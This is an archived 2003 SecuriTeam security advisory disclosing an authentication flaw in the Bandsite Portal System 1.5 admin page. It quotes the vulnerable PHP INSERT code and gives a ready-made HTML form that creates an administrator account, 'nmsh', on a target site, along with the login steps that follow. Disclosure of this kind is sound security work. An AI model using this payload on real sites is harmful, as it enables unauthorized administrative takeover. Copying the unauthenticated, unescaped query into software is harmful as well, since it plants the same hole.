[UNIX] Vulnerability in Bandsite Allows Gaining Admin Access

From: SecuriTeam (support_at_securiteam.com)
Date: 09/16/03

  • Next message: SecuriTeam: "[TOOL] Gspoof - a TCP/IP Packet Generator"
    To: list@securiteam.com
    Date: 16 Sep 2003 17:15:50 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Vulnerability in Bandsite Allows Gaining Admin Access
    ------------------------------------------------------------------------

    SUMMARY

     <http://membres.lycos.fr/fluxx/bandwebsite.php> Bandsite is "an online
    portal system designed for Bands. Features: themes support, news posting,
    audio sections, guestbook, tour guide, an admin section to manage overall
    data and configurations, and more".

    A vulnerability in the product allows remote attackers to insert a new
    administrator account without requiring any special privileges.

    DETAILS

    Vulnerable systems:
     * Bandsite Portal System version 1.5

    Vulnerable code:
    switch ($section) {
    [...]
        case admins:
    if ($submit){
          $query = "INSERT INTO admin (name,pass,level) VALUES
    ('$name','$pass','1')";
          mysql_query($query) or die ("query failed");
          echo"The admin has been added!<br><a
    href=admin.php?section=admins>Back</a><br>";

    As you can see by simply sending a request using the following HTML:
    < form
    action=http://[target]/bandwebsite/admin.php?&Login=1&section=admins
    method=post>
       Name:< br>
    < input type=text name='name' value='nmsh' size="20">< br>
       Pass:< br>
    < input type=text name='pass' value='nmsh' size="20">< br>
    < input type=submit name='submit' value='send'>< br>
    </form>

    A new administrator named nmsh will be added with the password nmsh.

    Now by going to the following URL: http://[target]/bandwebsite/login.php
    and entering as the login name nmsh and as the password nmsh,
    administrative privileges can be gained.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nmsh_sa@yahoo.com>
    Nasser.M.Sh.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] Gspoof - a TCP/IP Packet Generator"

    Relevant Pages

    • [NT] Ghost Users in Chat Anywhere
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Chat Anywhere is "a powerful chat server ... Practically the administrator cannot see the user's IP ... This vulnerability allows a malicious user to avoid being ...
      (Securiteam)
    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)